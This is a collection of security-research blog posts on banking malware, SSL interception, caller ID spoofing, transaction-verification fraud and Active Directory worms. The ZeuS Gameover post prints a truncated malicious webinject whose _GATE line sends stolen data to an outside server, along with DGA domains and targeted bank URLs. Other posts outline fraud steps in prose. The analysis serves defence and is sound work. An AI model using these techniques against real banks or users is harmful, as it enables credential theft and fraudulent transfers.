Advanced JS Deobfuscation Via AST and Partial Evaluation (Google Talk WrapUp)

The following post is a wrap up of a presentation I made for Google thanks to a very interesting initiative to meet web security researchers and Google security engineers - Thanks for the opportunity, BTW!

Instead of talking about my usual things like advanced DOM Based XSS  topics, I decided to propose some research about alternative approaches in JavaScript deobfuscation stuff we've been working on early this year.

In fact, here at Minded Security we deal with JavaScript since several years by now and
Client side security research, AMT agentless anti malware products, DOMinatorPro are only a few of the reasons our work on JavaScript is always part of our daily job.

Everyone admits JavaScript code can be sometimes really hard to read, especially when dealing with minimized code or obfuscated malware and even if there are quite a bunch of JS deobfuscators, most of them are runtime sandboxes or too simple static analyzers.

Here's why we developed JStillery. 
An internal product that helps us for:

• Analysis of JS malware samples extracted from AMT logs
• JS Normalization for Malware classification
• Automatic support for exploiting DOM Based XSS on custom, minimized libraries using DOMinatorPro
• WAF Analysis of XSS Payloads

Slides:

Advanced JS Deobfuscation  

and a short video that shows what JStillery can do:

Comments are always welcome!

Beyond Superfish: a Journey on SSL MitM in the Wild

Recently Lenovo hit the news because they got caught installing adware on their laptops, namely Superfish, which, amongst other features, also perform SSL Mitm on the infected computer.

Unfortunately, Superfish is not the only one that has been caught nullifying end-to-end SSL encryption. Many other software and services are turning this "feature" into a nightmare: result is that nowadays SSL Man in the Middle is not an uncommon scenario at all.

But how widespread is it?
Thanks to Minded Security AMT Technology we are able to provide some insights since we monitor this kind of threat, being quite common to banking malware too: an example is Hesperbot that deploys an intercepting proxy on localhost to provide fake SSL certificates to its victims.

What we do is to analyse our client's users security stance to understand if they accept invalid certificates from external sources.

On any given day we can correlate unique users plagued by SSL MiTM to the presence of different adwares, not only SuperFish:

• Superfish 8.36%
• iMonomy: 5.35% 
• JollyWallet: 4.01% 
• FirstOffer: 2.00% 
• DealPly: 0.33% 
• InterYield: 0.32% 
• jmp9: 0.30%

Those numbers are daily averages collected from a sample of two weeks traffic from over 1 year of logs. The following graph shows how a total of ~20% of Mitm'd users is correlated to an adware infection:

But there's more than just malwares when dealing with SSL interception. Many legitimate services underestimates this risk and accept it as a tradeoff for various gains.

That's the case of "cloud accelerated" browsers where users requests are cached on the cloud to provide a performance boost, like some versions of Opera Mini, Maxthon or Puffin that are not so uncommon and together are accounting for a 31.02% of total positive users we monitored.

On the Puffin Faqs we can read:

"All traffic from Puffin app to Puffin server are encrypted. It is safe to use public non-secure WiFi through Puffin, but not safe at all for most browsers."

Which highlights that the cloud server is used as a proxy, thus sending requests on behalf of the users.

It's not so clear instead for Maxthon. After the Superfish fiasco they published a note stating that even if yes, Maxthon users where positive to SSL MitM test, they were nonetheless secure:

"[...] Due to the way we handle javascript requests in our browser, Maxthon’s PC browser unintentionally triggers a false positive on the Superfish test. In most cases running the test on other browsers on your system will not. If you find yourself in a position where Maxthon is said to be insecure  and Chrome (on the same machine) is not, do not worry.  If you get positives from all browsers, you likely have Superfish.

To repeat: the way Maxthon browsers retrieve javascript can trigger a false positive during a Superfish detection test saying your system is at risk.  Even though our browsers remain as secure as the best in the industry, we recognize the severity of this bug and have elevated it to the top of the line – P1 importance."

According to our tests, Maxthon's Windows client application ignores SSL certificates on remote JavaScripts resources and AJAX requests. Fortunately, the annoying behaviour has been apparently fixed on v4.4.4.3000.

The idea to increase performance by caching or inspect the content of the data in transit is not used exclusively by cloud browsers.
In fact, we discovered some users using legitimate services like VPNs and triggering SSL Mitm alerts on our systems. For example HotSpot Shield (0.07%), SpotFlux VPN (0.02%), XO Cloud Services (0.51%), WebSense Cloud Security (0.03%) have an high correlation ratio.

From the SpotFlux website we read:

"Mobile data compression helps you save on bandwidth bills"

The following graph shows the percentage of services against the total of SSL Mitm'd users we monitored:

The classic SSL model is meant to protect  communications end-to-end,  but if user's connection is initiated or intercepted by the cloud service provider the purpose of this model falls short because the security of the SSL model depends on how the encryption keys are exchanged.

Lastly we observed a plethora of private networks like hotels, public hotspots, small companies that have an high correlation ratio but of which we couldn't identify a common cause other than a misconfiguration.

To sum it up SSL Mitm is a real common scenario with very different causes and broad consequences. We advise to be very wary of the software you are using on your devices since, as we've shown, even legitimate services and apps can pose a threat to your security profile.

iOS Masque Attack Demystified

The Masque Attack, recently discovered by FireEye security researchers, sets a new level of warning for iOS users.
This is a dangerous attack that also threatens non jailbroken Apple iOS devices both on iOS 7.x and 8.x platforms. While some issues were being fixed in iOS 8.1.3, it has been found that the very same version is affected by a variation of the attack.

This attack leverage the easiness to obtain valid enterprise certificates and provisioning profiles from the open Internet in order to deploy a malicious app that substitutes a regularly installed one on the target device.

This malicious app can read all the data belonging to the previous app (the Keychain being an exception) and could also be used to perform a phishing attack by mimicking the UI of the original app in order to steal user credentials.

It is important to note that this attack poses to iOS users a greater risk than the Android counterpart. Because on Android there is an option that forbid users to install applications from sources that are not the official Play Store, while on iOS this choice is not available.

Minded Security has written a white paper to give the reader a deep insight of the attack by illustrating the key concepts behind it and proposing some remediations.

Financial Cyber-Threat Briefing

“Planning for Attack-Resilient Web Applications”

The next 11th July 2014 in London Minded Security, the Software Security Company, will present an overview of the most common and latest attack vectors affecting online banking and other financial online services, strategies and methodologies for addressing growing risks in this domain and demonstrate some of latest untraceable exploits as well as solutions to stop them.

The agenda

14.30 to 15:00 Registration and welcome

15.00 to 16:15 Keynote Presentation

16:15 to 16:30 Networking Break 

16:30 to 17:15 Live Demos 

17:15 to 18.00 Networking Drinks Reception

Speakers and presentations

"Emerging Cyber-Threats Targeting Financial Institutions"

This presentation will share research carried out on the root causes of security incidents caused by attacks from emerging threats such as malware banking. The session will provide practical examples of instances of compromises causes by various threat agents and provide an in depth analysis of methods and attacks vectors employed against online banking applications. The scope of this analysis will be to analyse the threats, simulate attacks and identify flaws in application architecture that can be prioritised for remediation. To simulate the attack, modelling techniques such as the attack kill chain and attack trees will be shown. The goal of this session is to provide information security officer’s examples of processes, methodologies and risk frameworks that can be used to identify countermeasures to mitigate emerging threats.

Speaker: Marco Morana, SVP Technology Risks & Controls, Citi

"Overview of Online Banking Malware & Countermeasures"

This session will present how attackers currently identify and exploit web vulnerabilities on financial institution websites to stealing credentials. Giorgio will also demonstrate how compromised customer PC’s can compromise online transaction platforms an overview of the technology being used for prevention. Finally Giorgio will present a new technology “AMT Banking Malware Detector” that allows banks to identify users infected with malware before they become victims of fraud.

Speaker: Giorgio Fedon, COO, Minded Security & OWASP Lead.

"Preventing In-Browser Malicious Code Execution"

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. Certain vulnerabilities in JavaScript code cannot be tracked by standard IDS or perimeter security measures, which leads to a huge potential vulnerability, the code can be abused to steal data or bypass authentication mechanisms in web interfaces. This presentation will demonstrate vulnerabilities and also present Minded Security’s latest countermeasure DOMinatorPro.

Speaker: Stefano Di Paola. CTO, Minded Security & OWASP Project Lead

Info & Registration

For more information and registration, please visit the following web page:

http://www.liquid-nexxus.com/en/schedule/next/financial-cyber-threat-briefing

Discretionary Controls and Realtime Deception Attacks

Nowadays banking authentication systems are getting more and more sophisticated in order to counterattack the increasing number of hack attempts, but unfortunately attackers follow the same trend by forging new and more refined attack systems, we can define this as a classical never ending battle between good and evil forces.

 

In this blog post we will talk about the threats posed by the lack application of the proper standard (ISO 15022, 8583) which regulates controls on banking transaction details.

We can summarize this lack of standard with the following statement: “Banking transactions details are checked discretionally by the receiving institute”.

An in depth view of Discretionary Controls could be checked here [1].

The immediate effect of this behavior is that an attacker could choose a bank with weak controls to commit fraudulent transactions.

In this post we describe a scenario where an attacker takes advantage of a bank accepting incoming wire transfers omitting the surname of the recipients. Too many financial institutes allow incoming wire-transfers to "Giorgio" instead to "Giorgio Rossi" as a recipient.

The immediate effect of this behavior is that an attacker could choose a bank with weak controls to commit fraudulent transactions.

 Another very important consequence of a weak control on transaction details is that it could disrupt the effectiveness of authentication mechanisms especially transaction detail verification ones because is possible to accomplish Social Engineering attacks, for example on the recipient Name.

More details will be given in a specific paragraph that will clarify how discretionary controls could be abused. To clarify the whole attack process let's clarify what is an OOB authentication system.

Overview of OOB Transaction Detail Verification devices

 

The OOB (Out-Of-Band) Transaction Detail Verification authentication system sends to the banking customer a set of details about the transaction that he should approve. Those details could be for example Iban, Amount, Recipient, Country, if the requested transaction matches the expectation of the customer (seems legitimate) he will validate the transfer by generating an OTP code.

Follows an example of a typical transaction detail verification hardware device:

If the transaction is correct, the user will validate it by generating an OTP code to finalize the operation.

Let’s see how an attacker could abuse the weaknesses in deriving from discretionary controls in realtime thanks to the technology offered by the most modern banking malware.

The first step is to clarify what is a realtime-deception attack and how is accomplished.

ATS and Realtime Deception Attacks

Most modern malware banking implements a webinjection technology called ATS [2] which stands for Automatic Transfer System. Thanks to the ATS system attackers could automatically commit fraudulent transactions or modify and substitute in realtime sensitive details like Iban and Recipient of a legit transaction requested by the victim with malicious detail one.

A realtime-deception attack creates a condition, in which the victim is convinced to authorize a legitimate transaction, when in fact will be validating the fraudulent transaction desired by the attacker.  

Realtime-Deception applied to Discretionary Controls

The following picture summarizes the attack process:

It’s clear that a realtime-deception attack could be a serious threat if applied to a bank that implements weak discretionary controls.

1. First step involves in the infection of the victim with a banking malware which supports MiTB (Man in The Middle) and makes use of ATS technology.
2. When the victim fills details to commit a legitimate transaction, the webinjection will substitute the proper Iban and other details, with a malicious ones owned by the attacker. The attacker automatically chooses thanks to ATS the proper money-mule to adopt, in the case of the example Giorgio “Mule”. Attackers needs a mule with the same name (not surname) of the intended recipient chosen by the user.

The victim will receive in the OTP device details about the transaction, but will hardly notice the change of the Iban code, so finally the victim is convinced to validate your transaction. OTP will also provide the code necessary to validate the fraudulent transaction.

Realtime-Deception attacks are suitably constructed according to the device and transaction details exposed to the victim.

However it’s possible to provide a categorization of the possible combinations of detail alteration and relative weak discretionary control that could lead to a successful attack. This combination involves the security design of the OOB device screen:

1. Substitution of Recipient, Iban and Amount – This substitution could be used for example against phone call authentication which does not reveal transaction details.
2. Substitution of Recipient and Iban – This substitution could work for example against devices that does not show the Name between transaction details.
3. Substitution of Recipient’s Name and deletion of the Surname – This substitution could work for example against devices that only show only the Recipient Name.

Let’s suppose for example that we are in the third case, the hardware device shows only Amount and Name and let’s also suppose that the banking transaction detail controls does not care about the recipient Surname.

An attacker could exploit this flaw to substitute for example
The ATS automatically chooses the best fitting money-mule, in this case the mule has the same name of the legitimate recipient, the Surname difference is rendered useless due to the nature of this specific control weakness: example Giorgio (Real) -> Giorgio (Mule).
Where “Giorgio Mule” is a money-mule owned by the attacker.
From a victim point of view would be impossible to distinguish Giorgio “Real” from “Mule”, this behavior will finally lead the customer to validate the fraudulent transaction.

The scope of this simple attack scenario is to show that it’s possible to meet a specific banking institute which has poor controls, for example by allowing transactions that contains a wrong beneficiary name. For an attacker will be an easy task to change Iban code and leave the same recipient name.

Each kind of substitution/modification typology strictly depends on the weak discretionary control applied by the specific bank.

It’s interesting to put in evidence the fact that a correct mix of Social Engineering, webinjection capabilities and knowledge of the details validation flaws could pose a serious threat for the vast majority (hardware and software) of OOB transaction detail verification authentication systems.

From a defense point of view became clear that adopting the proper transaction detail verification standards [3] [4] represents a significant increase in terms of security.

Written by Giorgio Fedon and Giuseppe Bonfà

References:

[1] http://blog.mindedsecurity.com/2009/05/discretionary-controls-may-lead-to.html
[2] http://blog.mindedsecurity.com/2012/09/zeus-gameover-overview.html
[3] http://en.wikipedia.org/wiki/ISO_15022
[4] http://en.wikipedia.org/wiki/ISO_8583

ZeuS Gameover Overview

In this blog post we are going to discuss about an interesting ZeuS variant called “Gameover” that in the last quarter shown an impressive activity in terms of spread and infection rate especially in Italy.
According to f-secure [1]:

 “Italy has a significant number of Gameover infections.”

And according to the Secureworks [2]:

“on 678,000 unique Gameover bots, of which, 5.1% are Italian.”

ZeuS Gameover is a post source-code-leak variant of the original ZeuS trojan. One of the most peculiar characteristics of Gameover is that it relies upon a Peer to Peer botnet infrastructure, in such way that removes the centralized Command and Control server ([2]), additionally it implements a DGA (Domain Generation Algorithm) which produces domains like these in case the peers cannot be reached:

•    lhcemrwpfllnlblfevkjf.com
•    buzptsuoyhnrqdyprohqozsl.ru
•    cqheuowcjnaixeuzlcyemsqwpeqrw.com
•    nbmfxcyptpjtwbaxkjvbmpxwzu.info
•    pcetrgnbuwbynpfxibotsqc.org
•    soibeueutaeytsodpvcbmzh.net
•    cegquowoibtfqozpvxgnroaqup.biz
•    xqotqwqorklbpbkbdekflrautjf.ru
•    kzltwdezcajnceeutghdeqvkbi.com
•    ijgqamxaisgphqubhrkqwljx.net
•    tsxoribauktmtzhpuxskt.org

According to Symantec [3]:  “every peer in the botnet can act as a C&C server, while none of them really are one. Bots are now capable of downloading commands, configuration files, and executables from other bots—every compromised computer is capable of providing data to the other bots. We don’t yet know how the stolen data is communicated back to the attackers, but it’s possible that such data is routed through the peers until it reaches a drop zone controlled by the attackers.”


Gameover WebInjects

Like other ZeuS versions, Gameover bases its attacks on the MiTB (Man in The Browser) approach; this implies that the malware has a configuration file which contains a list of financial institutions and the relative malicious JavaScript code to be injected when a victim visits one of these pages.
An interesting aspect of this variant, is that configuration and the whole Web Injection mechanism is significantly different from previous ZeuS versions.
WebInjection/Configuration management is demanded to a malicious thread injected into the running browser process (like other versions) and can be synthetized as follows:

•    Configuration Decryption
•    Regular Expressions interpretation in order to find matching URLs
•    Web Injection code decryption and commit into the victim page

The malicious thread will take the URL infected by the victim in order to match this with an encoded list of URLs, which constitutes the Target Institutions.
Here comes one of the peculiar characteristics of Gameover, which is given by the fact that there is a double list of target URLs:

1.    List of “Default” targets
2.    List of Web Injection targets

Basically URL matching goes through two lists of targets, the first one which is already public and known:
•    @https://bancopostaimpresaonline.poste.it/bpiol/lastFortyMovementsBalance.do?method=loadLastFortyMovementList
•    @https://www3.csebo.it/*
•    @https://qweb.quercia.com/*
•    @https://www.sparkasse.it/*
•    @https://dbonline.deutsche-bank.it/*
•    @https://*.cedacri.it/*
•    @https://www.bancagenerali.it/*
•    @https://www.csebo.it/*
•    @https://*.deutsche-bank.it/*

This partial list (the complete one contains targets from various countries) shows the targeted Italian financial institutions [1]

The analysis of multiple samples and configurations showed that this list is near to be immutable, especially about Italian targets.

But by going a little deeper into the configuration decryption process, Minded Security observed that there is a second list of targets, significantly larger than the first, which contains a huge amount of financial institutions targeted by the web injection. Below the complete list of Gameover targets:

https://express.53.com/express/logo
https://direct.53.com/direct/logon53Direct.js
https://www.abbeyinternational.com/Login.asp
alahliecorp.com/AlahlieCorp/web/CorporateSignOn.asp
alinmaonline.com/cb/servlet/cbjsp-ns/logi
alinmaonline.com/efs/servlet/efs
https://www.almubasher.com.sa/retail/LogonRetail.js
https://www.almubasher.com.sa/NewECorporate/p/login
https://www.arabi-online.net/efs/servlet/efs/jsp-ns/logi
https://www.bankalbilad.com/retail/logon.d
https://bnycash.bankofny.com
...

Full list can be downloaded from: http://www.mindedsecurity.com/fileshare/zeus_p2p-gameover-25092012.txt

According to the Reverse Engineered code, this second list comes from the same configuration used for the first and it’s decrypted immediately after that the default one has been checked.
Due to the same logic behind the decryption process, it’s possible to catch this list in the same way used to carve the default one, like in the screenshot below:

An aspect to note is that, the URL triggers are not immediately visible this time, because of the following pattern adopted:
True_Char – 0x1C – True_Char – 0x1C – etc.
or
True_Char – 0x1D – True_Char – 0x1D – etc.
When victim’s URL matches with one of the above, the corresponding web inject will be decrypted and injected into the target page.

Gameover ATS
Let’s now take a closer look to a typical Gameover injected malicious JavaScript code:

<script>
_GATE = 'https://dom*.eu/*/php/gate.php?d=';
window.pseudo = [];
eval(function(p,a,c,k,e,r){e=function(c)
..
Float|contents|filter|nodeType|TEXT_NODE|nodeValue|Distinte|Bonifici|distinta|storico|prototype|
</script>

As you can see _GATE contains an external resource (obscured for security reasons), this location will be used to gather all stolen information.

This technology is known as ATS (Automated Transfer System) [4]:

“
Unlike WebInject files that displayed pop-ups to steal victims’ credentials, ATSs remained invisible. These did not prompt the display of pop-ups as well as performed several tasks such as checking account balances and conducting wire transfers using the victims’ credentials without alerting them. ATS scripts also modified account balances and hid illegitimate transactions to hide traces of their presence to victims. As long as a system remains infected with an ATS, its user will not be able to see the illegitimate transactions made from his/her accounts. This essentially brings to the fore automated online banking fraud because cybercriminals no longer need user intervention to obtain money.
“

In other words an ATS system allows criminals to manage stolen information simply by accessing a web application, the following screenshot show the login page of a typical ATS application.

Following there is a screenshot taken from one of those ATS domains that shows the Automated Transfer Rule building:

And here there is another screenshot from the same ATS which targets a different bank:

It’s finally pretty interesting to put in evidence the fact that the usage of an ATS web inject changed the way dropzones work, because they will be no longer a centralized resource (easy to monitor and consequently takedown),  but a distributed one.
Each webinject could contain a different ATS server.   

Trackdown ATS users

As final step Minded Security decided to track down the ATS system in order to observe the involved user activity, shown below a Geo Map of the observed access. Users' logged IP come out from cloud server, in this way they can protect their identity.

Conclusions

Gameover poses a serious risk not only for Italian financial institutions; Minded Security will maintain a high awareness level on the evolution of this threat.

References

[1] http://www.f-secure.com/weblog/archives/00002424.html
[2] http://www.secureworks.com/research/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/
[3] http://www.symantec.com/connect/blogs/zeusbotspyeye-p2p-updated-fortifying-botnet
[4] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_automating_online_banking_fraud.pdf

Unbelievable hacks: Money Transferring with Caller Id Spoofing

Everyone in the security industry easily remembers Kevin Mitnick during his Art of Deception tour, where he showed how to call somebody else displaying a fake incoming phone-number on the receiver’s phone. In that case the phone number of the president of the United States. This is "Caller Id Spoofing" (Kevin Mitnick at CNBC).

Presented by Kevin as a strong weapon in Social Engineering attacks, we discuss it here as a way to bypass authentication checks during money transfer. People usually laugh of nice tricks, but not when the subject is their money.

Phone Call authentication is an emerging way of authenticating money transfers or other types of disposal operations. This particular authentication method has the great advantage of posing zero costs for the organization and for the individuals. In fact as soon as the call is received by the bank, the call is dropped without charging the calling card.

When a customer call the dynamic phone number for authentication too often the only information that is checked is the Caller Id. The standard incoming caller identifier is the information that is displayed on the mobile phone of the phone call receiver.

This set of information can be dangerously used to identify the user that is authenticating a particular transaction. I say dangerously, because the caller id is very prone to tampering as showed several years ago in the workshop “Phreaking in the age of Voice Over Ip”:

Before we start the questions we need to answer are:

1) Is caller ID Spoofing still alive?
2) Does it work in our country? (ex. Italy for us)
3) Is it enough for performing an Identity Spoofing attempt and to breaking authorization security?

Is caller ID Spoofing still alive? To answer the first question, we can say that phone operators are very based on legacy systems. SS7 standard is still adopted and valid, as the calling rules are pretty much the same that were in use at the time that “Lucky 225” was presenting. So yes, Caller Id spoofing is still a valid attack.

Does it work in our country? Unbelievably Yes. Phone operators use to blacklist malicious operators that were known to perform Caller Id Spoofing attacks. This means that it’s possible for an attacker to find a valid voip provider that is not blacklisted to put into place a successful Caller Id Spoofing attack.

Is it enough for breaking authorization security? It Depends. The bank should badly rely only on Caller Id verification which is not a best practice. Caller Id as demonstrated below can be arbitrarily modified, so more information should be requested to correctly identify the customer.

How many banks rely only on Caller ID for the security of their Phone Back authentication system? We do not have precise statistics for Europe, but we tested it against 2 banks and both were vulnerable to this attack.

How the attack works

Imagine that at the time of authorizing your wire transfer your online bank will print the following information on your screen:

At this time if the attacker knows the phone number associated to the customer bank account can place a phone call with a spoofed caller id.

Voip Services offer the possibility to setup your Asterisk voip central and to route call defining your custom caller id.

Normally an attacker should:

1) Have his own virtual server, possibly in the country where the VOIP service is rented
2) Rent a VOIP service that permits to specify an arbitrary caller ID which is not blacklisted by your country Phone operator

However Google helps in finding ready setups as a “pay per go” service.

The following is an example of the service which permits to spoof phone Cal Ids also in Europe and Italy.

To be honest, this search took some time, because a very limited number of “Phone Spoofing” services permit to place phone calls across Europe. Whereas in the United States Caller Id spoofing is somehow tolerated, in Europe is completely illegal.

This service can also be made totally anonymous using Skype and calling directly the Service Phone Number:

A Female voice will ask to enter your user ID, the Number to Call and The Fake User ID


Conclusion

Phone Back authentication systems should be tested against Caller Id Spoofing, because this attack is going to be easier and easier in the future. Caller Id authentication is not secure, other information should be used for securing the transaction, unless a secure handshake is put into place.

Discretionary controls may lead to social engineering attacks against banking dongles

New social engineering attack strategies will deal with the fact that some details entered in banking transactions are checked discretionally by the receiving institute. Any bank has a different database for user details and a different policy: that’s good because user details are kept very confidentially. However any single institute has very proprietary controls; some do well, some do not.

The bad news is that one misbehaving entity is enough for lowering the security of the network. Attacker could choose the only bank in the country that has very weak controls, since the goal is to receive banking transfers from other people.

Let's assume that the bank where Mallory has his account will accept bank transfers if the the recipient is wrong and the amount transferred is lower than 5k. We could have a situation like the following one:
What If your bank will receive the correct account number with a wrong name on it? Well, the correct Beneficiary Name is not mandatory for issuing a bank transfer, but your bank (the receiving party) could accept it or not.

Usually the attacker has still 3 additional days to phone the receiving bank and try to persuade one employee to finalize the transaction before the transfer gets blocked.

We did some tests about sending money in our country to correct IBAN account numbers, but to wrong recipients.

Some results:

• For amounts lower to 100 euros: 2 out of 7 banks confirmed and accepted the transfer.
• For and amount of 3000 euros: 1 out of 3 banks confirmed and accepted the transfer after a phone call.

Phone call was made to the Office that handled the incorrect transfers. We just said that we meant to perform a banking transaction to another recipient, but we entered the wrong details. The operator said that she was expecting another bank operator, and not a customer but she said that was just fine.

Attackers may take advantage of these issues to perform social-engineering attacks directly on antimalware devices.

Effective attack strategy could be once again luring the user into confirming the wrong transaction, by preserving those fields that are actually remembered by the user. So which fields can be easily remembered?

• Amount? easily
• Recipient? easily
• Country? easily
• IBAN? Not easily. Personally I would just check for the name in the recipient field if it is available on the screen.
  

External device screens may look similar to the one below. Details include also IBAN, Account number, and any other detail is directly displayed on the external screen:


The main challenge in designing Antimalware solutions is to “Authenticate the Transactions to the user”. The most common way to meet this requirement is to provide an out of band channel that displays the transaction details in a secure manner. In this way the user can spot if “something” between him and the bank has interfered within the transmission.

Typical attacks against banking security solutions are impersonation attacks that need a malware already installed on the user system. The following is an example of a very common MITM (Man in the Middle Attack) performed on the local user machine:


By giving a clarifying example, let’s assume that the user (Bob) is doing a banking transfer to his friend (Alice). The details displayed out of band on the external devices will be:

Amount of Transaction: 300
Recipient: Alice
Country: Wonderland
IBAN: WL04292039280100000000918292

If an attacker using a malware capable of “Local Man in the Middle Attack” changes some of the details, the external devices will prompt for confirmation. At this point the transaction will look very different from the original one:

Amount of Transaction: 10000
Recipient: Mallory
Country: Wonderland
The IBAN: WL053510393501200000003523491

This fraud attempt is easy to spot, even if the attacker is using a mule in the same country as the victim: Transaction Amount and Recipient Details are very different from the original ones.


But if the attacker uses the social engineering attack mentioned at the beginning he could succeed by simply modifying the IBAN details (instead of the Amount and the Name of the Recipient):
Can you spot the difference? Maybe yes (the IBAN visibly changed), but many details are unchanged from the original transaction. This fact will probably fool many users.

The main reason is that additional details, such as the Recipient are considered trusted by the user and can have influence upon his choices. The details provided to the user should be the lowest as possible; any further detail which is not completely trusted by the bank itself may lead to confusion and leading to considerably increase the attack surface.

For banking network security reasons, be sure to threat correctly banking transfers with incongruent details, on both online banking and phone banking operators' side.

Are you sure you are doing it correctly? Please check it, for the health of next generation security solutions.

Shields up against Domain Escalation Worms

Internal networks are the core of the business activity. Resources should be available, shares must be reachable, and servers should expose a wide number of services that are used every day by employees. Enterprise officers usually agree that security components are easier to manage if they are centralized and that password rotation is also better achieved Single Sign On architectures are used. Active Directory is one of the most deployed and pervasive Single Sign On solutions with 40% Market Share in large organizations (Microsoft Custom Research Market Study, May 2004). Active Directory “using the same database, for use primarily in Windows environments, allows administrators to assign policies, deploy software, and apply critical updates to an organization” (Wikipedia).

Unfortunately Enterprise networks are still very vulnerable to attacks performed from the inside of the network. Skilled attackers leveraging multiple types of attacks can easily obtain access to most of the systems. Some of the techniques include: exploiting unpatched systems (more the services exposed, more the breaches), exploiting unpatched applications, performing layer 2 attacks and riding trust between systems. Things get worse if we consider that most of the previous attacks can be pursued by an automated program and not by a physical attacker. Worms are able to spread across networks in very subtle ways and can easily spread from the inside when a laptop gets infected. From such privileged position, it’s easier to further spread by exploiting vulnerabilities on unpatched systems as shown by the recent Downadup Worm (W32.Downadup Symantec Security Response).

Since Active Directory is fundamentally a centralized Single Sign On architecture that authenticates and authorizes resources using Kerberos, Active Directory creates implicit trusts between systems. Authenticated clients in possession of privileged access grants are able to access or to delegate their grants to other systems. Once a user is authenticated, he receives a session token signed by AD authority and he does not need to enter his credentials again.

Can Worms spread faster by exploiting the Active Directory trust model? Could a Worm impersonate other users to escalate privileges in an Active Directory environment?

A Domain Escalation attack takes places when a malicious user is able to extend his privileges on the Active Directory Domain. One of the most ingenious ways to accomplish this task is to impersonate another user that has a higher set of privileges by stealing his Active Directory token (or session). Luke Jennings from MWR Infosecurity in his brilliant paper describes all the details of this particular attack (MWR Infosecurity Delegation Token Security Explained).

Any task with Local Administrative privileges is able to grab the token from any process that has previously obtained a delegation. It’s easier to say that if your machine gets infected by a malicious piece of software, this software can get domain privileges by waiting that a remote system will use delegation remotely to perform any kind of operation. How long should it wait? Not, so long, considering that also WSUS service may use delegation while pushing updates and Remote Desktop uses it as well.

Example of Internal Spreading process:

• CEO’s Laptop get Infected by a Worm at the Airport;
• CEO’s after a week gets back to the headquarter and authenticates to Active Directory Domain;
• The worm start spreading on a limited number of systems using MS08-067 or 06-040 or similar publicly known exploits
• The worm reveals to be a Domain Escalation Worm and start monitoring the properties of the local processes on the compromised machines;
• When a new local process is created with a Delegation token of a domain user, the worm is able to steal that token and to impersonate the remote user
• The worm start spreading with the new obtained privileges

As it’s possible to see the combined usage of other spreading vectors increase the number of monitored systems and the chance to impersonate a highly privileged user (e.g. users that belongs to “Domain Administrator”, “Enterprise Administrator”, “Workstation Administrators” groups ).

Conclusions
Worms may use this technique to spread faster. The process could be easily automated, for targeting only privileged users of the Active Directory domain . If a Worm can then impersonate a Domain Administrator, via a Policy Deploy rule it can infect any machine in the network.